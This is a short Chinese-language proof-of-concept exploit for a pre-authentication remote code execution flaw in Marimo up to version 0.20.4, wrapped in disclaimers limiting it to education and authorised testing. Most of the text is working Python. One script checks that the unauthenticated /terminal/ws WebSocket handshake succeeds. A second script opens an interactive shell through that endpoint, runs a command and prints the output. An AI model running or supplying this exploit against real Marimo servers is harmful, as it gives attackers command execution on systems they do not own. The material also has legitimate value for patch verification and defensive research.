仅供教育和授权安全研究使用。
Marimo <= 0.20.4 中存在预认证远程代码执行漏洞。
WebSocket 端点 /terminal/ws 跳过了身份验证校验，允许未认证的攻击者通过单次连接获得完整的交互式 PTY shell。
websockets（pip install websockets）确认该端点无需凭据即可接受连接：
import socket, base64, os
host = '127.0.0.1'
port = 2718
path = '/terminal/ws'
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Upgrade: websocket\r\n'
f'Connection: Upgrade\r\n'
f'Sec-WebSocket-Key: {key}\r\n'
f'Sec-WebSocket-Version: 13\r\n'
f'Sec-WebSocket-Protocol: terminal\r\n'
f'\r\n'
)
s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
预期结果： HTTP/1.1 101 Switching Protocols
import asyncio, websockets, re
async def exploit(host, port):
uri = f"ws://{host}:{port}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
print("[+] Connection established without authentication")
await asyncio.sleep(0.3)
# Read initial PTY banner
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[PTY banner]:", repr(msg))
except asyncio.TimeoutError:
pass
# Send command
await ws.send("id\n")
await asyncio.sleep(0.5)
# Read frames until timeout
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[RCE output]:", clean)
asyncio.run(exploit("127.0.0.1", 2718))
本工具仅供教育目的和授权安全测试使用。未经授权对您不拥有或未获得明确书面许可的系统进行使用是违法的。作者不对任何滥用行为负责。